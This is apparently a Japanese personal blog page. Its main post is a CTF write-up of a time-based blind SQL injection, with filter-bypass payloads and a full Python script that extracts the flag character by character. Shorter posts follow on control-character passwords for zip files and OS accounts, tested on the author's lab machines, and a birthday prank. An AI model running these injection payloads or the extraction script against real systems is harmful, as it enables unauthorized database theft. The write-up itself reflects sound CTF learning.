普通に回答すると、投票結果が表示される。
Cookieなどは使っておらず、純粋に値をPOSTするだけのアプリケーションの模様。
POSTする値を改竄し、"win" のところを "win'" としてみると、SQL Syntaxエラーとなる。
特にSQL結果を表示する箇所もないため、Blind SQLi であることがわかる。
予約語は1度エスケープされる仕様らしく、次のように送るとSQLが成功する。
win' AANDND 'a' = 'a
さらに、Blind SQLi の判定に何か使えないか探していたら、徳丸さんのブログが引っかかる。さすが徳丸さん。
ブラインドSQLインジェクションのスクリプトをPHPで書いたよ #phpadvent2012
sleep関数で判定できそうなので、これでSQL成否の判定をすることにする。
1=1の部分を判定したいSQLに置換して確認する。
win' AANDND (SESELECTLECT if(1=1,sleep(5),nunullll)) AANDND 'a' = 'a
あとは肝心なテーブル内容読み出しだ。
MySQL なので、information_schemaにアクセスしようとしても、どうしてもうまくいかない。。。
と思ったら、"information_schema" の文字列の "or" がエスケープされているようだ。
(これ発見するまでに時間すごいかけた)
さらに普通のSELECTだとロックされていると怒られるので、最終的には次のような構文とした。
win' AANDND (SESELECTLECT if((SESELECTLECT count(*) FFROMROM infoorrmation_schema.columns WHWHEREERE TABLE_NAME LIKE '%FLAG%' LOCK IN SHARE MODE) > 0,sleep(5),nunullll)) AANDND 'a' = 'a
これでテーブル名がひっかかった。
"%FLAG%" のところを "%FLAG" → "____FLAG" とかに絞っていく。
このやり方でテーブル名、カラム名、テーブルスキーマ名を特定していく。これは手動では面倒なのでスクリプトでやっていった。
すると、それぞれ
であることがわかる。
最終的には、flagは以下のLIKE文でひっかかる。
win' AANDND (SESELECTLECT if((SESELECTLECT count(*) FFROMROM poll.tbl_flag WHWHEREERE FLAG LIKE 'ASIS_________________________________' LOCK IN SHARE MODE) > 0,sleep(5),nunullll)) AANDND 'a' = 'a
ここまでわかれば、あとはスクリプトを回すだけ。
整形してないけど載せておく。
#!/usr/bin/env python import urllib,urllib2 import time url = 'http://asis-ctf.ir:12441/index.php' flg = ["A","S","I","S","_","_","_","_","_","_","_","_","_","_","_","_","_","_","_","_","_","_","_","_","_","_","_","_","_","_","_","_","_","_","_","_","_"] characters=list('abcdefABCDEF1234567890') i=5 j=0 while True: s = characters[j] flg[i] = s os = "win' AANDND (SESELECTLECT if((SESELECTLECT count(*) FFROMROM poll.tbl_flag WHWHEREERE FLAG LIKE '"+"".join(flg)+"' LOCK IN SHARE MODE) > 0,sleep(10),nunullll)) AANDND 'a' = 'a" params = {'os' : os, 'submit' : 'Submit' } params = urllib.urlencode(params) req = urllib2.Request(url) # add header req.add_header('Content-Type', 'application/x-www-form-urlencoded') req.add_header('Referer', 'http://asis-ctf.ir:12441/index.php') # add parameter req.add_data(params) try: start = time.time() res = urllib2.urlopen(req) body = res.read() elasped = time.time() - start j+=1 if int(elasped) >= 10: i+=1 j=0 print "".join(flg) elif s == '0': flg[i] = '_' i+=1 j=0 print "".join(flg) except urllib2.HTTPError, e: print e.reason print e.code print e.read() break if 37 == i: break
[rintaro@rintaro_PC] $ python post_search_info.py ASIS_1_______________________________ ASIS_1d______________________________ ASIS_1dc_____________________________ ASIS_1dc3____________________________ ASIS_1dc33___________________________ ASIS_1dc337__________________________ ASIS_1dc337d_________________________ ASIS_1dc337d6________________________ ASIS_1dc337d61_______________________ ASIS_1dc337d61d______________________ ASIS_1dc337d61da_____________________ ASIS_1dc337d61dac____________________ ASIS_1dc337d61dac5___________________ ASIS_1dc337d61dac5c__________________ ASIS_1dc337d61dac5cb_________________ ASIS_1dc337d61dac5cb9________________ ASIS_1dc337d61dac5cb91_______________ ASIS_1dc337d61dac5cb910______________ ASIS_1dc337d61dac5cb910e_____________ ASIS_1dc337d61dac5cb910eb____________ ASIS_1dc337d61dac5cb910eb5___________ ASIS_1dc337d61dac5cb910eb5b__________ ASIS_1dc337d61dac5cb910eb5b8_________ ASIS_1dc337d61dac5cb910eb5b8c________ ASIS_1dc337d61dac5cb910eb5b8c1_______ ASIS_1dc337d61dac5cb910eb5b8c17______ ASIS_1dc337d61dac5cb910eb5b8c17c_____ ASIS_1dc337d61dac5cb910eb5b8c17c5____ ASIS_1dc337d61dac5cb910eb5b8c17c52___ ASIS_1dc337d61dac5cb910eb5b8c17c52f__ ASIS_1dc337d61dac5cb910eb5b8c17c52fe_ ASIS_1dc337d61dac5cb910eb5b8c17c52fef [rintaro@rintaro_PC] $
Blind SQLi の問題に初めて遭遇したけど楽しかった。
ハマったところは以下。
- エスケープ処理が予期しないところに入っていた
- FROM句の後には "スキーマ名"."テーブル名"の指定が必要(これも気づかなくてTBL_FLAGの読み出しに時間かかった…)
他にも取り組んでいたけど、メインでやっていたわけではないので割愛。
アセンブラがことごとく x86-64 で、このままじゃヤバイと危機感を感じた。
GDBだけで見るのも時間かかるしなぁ。
CTFを始めて1年ぐらい経ってしまったし、他のアーキテクチャにも慣れはじめようと思う大会だった。
Lhaplusのパスワード探索は非効率?
Lhaplusには、zipパスワードを総当りで解析する機能がある。
画面を下図に載せるが、見ててふと思うことがある。
探索範囲 [すべて] の箇所で、パターンが0..255と書いてあり、明らかに英数記号の範囲を超過してる。
ここまで本当に必要?
ということ。明らかに 0x00 ~ 0xff まで見てる気がする…
ということで、パスワード設定はどこまでできるのか、気になったので色々やってみた。
もともと上記の疑問については無意味ではないということは知っていた。
たとえば、Windowsではキーボードからでも制御文字を入れることができる。
Windowsで[Ctrl + backspace] を入力してみると、パスワードに "\x7f" に相当する[DEL]文字を入れることができる。以下はLhaplusの圧縮時に入力してみたもの。
OSのログインパスワードにも設定でき、これだけでパスワード強度が上がり有用である。
# そりゃ種別が増えるわけなので
Linuxではどうだろう。
Windowsで制御文字を使った暗号化ファイルは、Linuxではキーボードだと復号化できなかった。
手動では仕方ないのでスクリプトを組んでみた。
[root@kali] # python Python 2.7.3 (default, Mar 14 2014, 11:57:14) [GCC 4.7.2] on linux2 Type "help", "copyright", "credits" or "license" for more information. >>> import os >>> os.system("unzip -P \x7f test.zip") Archive: test.zip inflating: test.txt 0 >>>
スクリプト経由では復号することができた。
ということは、圧縮ファイルならどんな制御文字を入れ込んでもzip化もできるんじゃないか?
zipの暗号化パスワードに制御文字をいれる
>>> os.system("zip -P \x01\x02\x03\x04 test.zip test.txt") adding: test.txt (deflated 59%) 0 >>>
できてしまった。
厳密には、null byte "\x00" はダメだったが、それ以外ならパスワードに設定できるようだった。
これで、どうやってもキーボードからは突破できないzipファイルが作成できた。
ではこれをLhaplusのパスワード解析にかけてみると…
ちゃんと予想どおり解析できた。
(探索桁が3なのは、表示文字がインクリメントされる前に処理が終了されたから。数えてみると4文字分解析されてる)
ということで、英数記号以外も設定可能なzipに関しては、Lhaplusのパスワード探索はぜんぜん非効率なんかではなかった。
むしろこういうやつらにも対応「は」できるすごいヤツだったのだ。(な、なんだってー!!)
といっても制御文字は解析済みの画面上に表示できないから具体的な文字列までは結局完全にはわからないわけだけど。
(あらかじめ文字の形とのマッピング表を作っておけば、ある程度はわかりそう)
では、あくまで総当り前提として、こういうファイルに出くわしたときの解析には有用なツールが何がいいだろうか?
…というのはそのうち試すことにして、今回は、OSのパスワードにも同様に制御文字を設定できるのかを試してみた。
Linux のパスワード設定・ログイン
試験的に、新しくユーザ "account00" を作成し、アカウントパスワードに [DEL] を入れられるか試す。
[root@kali] # useradd account00 [root@kali] # python Python 2.7.3 (default, Mar 14 2014, 11:57:14) [GCC 4.7.2] on linux2 Type "help", "copyright", "credits" or "license" for more information. >>> import os >>> os.system("echo account00:\x7f | /usr/sbin/chpasswd") 0 >>>
できちゃったw
違うユーザからログインしようとしても、
$ su - account00
パスワード:
su: 認証失敗
$
どう頑張ってもできない。
なんというせきゅあ()なパスワード。
自身のマシンにも自アカウントでログインできないこのザマである。
ちなみにWindowsからsshでパスワード欄に Ctrl+backspace を入力すると、ちゃんとログインできた。
ただし sshd などが上がりっぱなしな状況を作れないと死にますが。
もちろん、こんな感じでキーボードからは完全にログインできなくすることも可能。
>>> import os >>> os.system("echo account00:\x01\x02\x03\x04 | /usr/sbin/chpasswd") 0 >>>
では、スクリプトでOSにもログインできるかな。
今回は[こちら]のものを参考にさせていただき、Paramikoを使ったログインをしてみた。
import ssh print "SSH START" ipadr = "192.168.11.7" usernm = "account00" passwd = "\x01\x02\x03\x04" s = ssh.Connection(ipadr, username=usernm, password=passwd) command = "uname -a;id" cmd_result = s.execute(command) s.close() for rlt in cmd_result: print rlt
これを実行すると、
[root@kali2] # python sshcon.py SSH START Linux kali 3.12-kali1-686-pae #1 SMP Debian 3.12.6-2kali1 (2014-01-06) i686 GNU/Linux uid=1001(account00) gid=1002(account00) groups=1002(account00)
問題なく入れた。
Windows のパスワード設定・ログイン
Windowsも、スクリプト経由で ssh さえ立てれれば同様のことができるのではないか?ということでこちらも。まずはユーザ "account01" を作成した後、SSHサーバを立てる。
SSHサーバ構築はCygwinを使って、[ここ]を参考にさせていただいた。
では、パスワードを変える。
Set objUser = GetObject("WinNT://localhost/account01") objUser.SetPassword(chr(&H01)&chr(&H02)&chr(&H03)&chr(&H04))
VBSでパスワード変更のスクリプトを書いて、管理者として実行。
ちゃんと変更できて、OSログインもできなくなった。
今度はLinuxと同様に、スクリプトで account01 に対してSSHで接続。
cygwin を使い、 Paramiko を入れて他ユーザからログインする。
import ssh print "SSH START" ipadr = "192.168.11.2" usernm = "account01" passwd = "\x01\x02\x03\x04" s = ssh.Connection(ipadr, username=usernm, password=passwd) command = 'whoami; echo "logged in!!"' cmd_result = s.execute(command) s.close() for rlt in cmd_result: print rlt
実行すると、
[rintaro@rintaro_PC] $ python sshcon.py
SSH START
account01
logged in!!
Windowsでもキッチリできた。
以上で、パスワードを強固にするには制御文字も有効であることがわかった。
SSHが常時上がり続ける保証でもない限り、強制パスワードリセットが必要になりそうだけど。
root とか Administrator のアカウントでもしやった人がいたら、どういう心境なのかぜひ聞いてみたい。
ということで、まとめ。
- 圧縮やログイン用のパスワードは、文字が長いほど、そして複雑であるほど強度は上がるが、その文字種には「ヌルバイト以外の任意の制御文字も利用可能である」(ただし認証にも一苦労なので、どこまでやるかという話ではある)
- そして、Lhaplusのzipパスワード解析はそれを破るためには無駄ではない
- またOSのパスワードにも制御文字を設定できる。ただしシェル経由でログインできる環境でないとログインできなくなるので要注意
いつか、会社で重要資料とか送るときに一度はやってみたいよね。
「解凍パスワードは、SOH STX ETX EOT ENQ の5文字でお願いします。」
なんて。
ソーシャルハック?のパロディを作ってみた
一緒にSECCON2014オンライン予選に出ていたチームメイトの誕生日にプレゼントを渡してきた。
用意したのは、
- 詰め将棋の本
- LINEのプリペイドカード
- ソーシャルハック?を擬似ったメッセージ(下のやつ)
あとはネタじゃないプレゼントも一緒に封筒に入れてポストに投下。
その後尻尾を巻いて逃げ帰りました。
写メは送ってくれないかなーと思ってたけど、ピースつきでちゃんと送ってもらえた。
しかも3枚。
3枚もくれたならば仕方がない。すかさずFlagを送信。
見事、人権確保!!!
FLAG{Y0urB1rthd4y1sT0m0rr0w}
無事翌日誕生日を迎えたようです。
良い1年になりますように。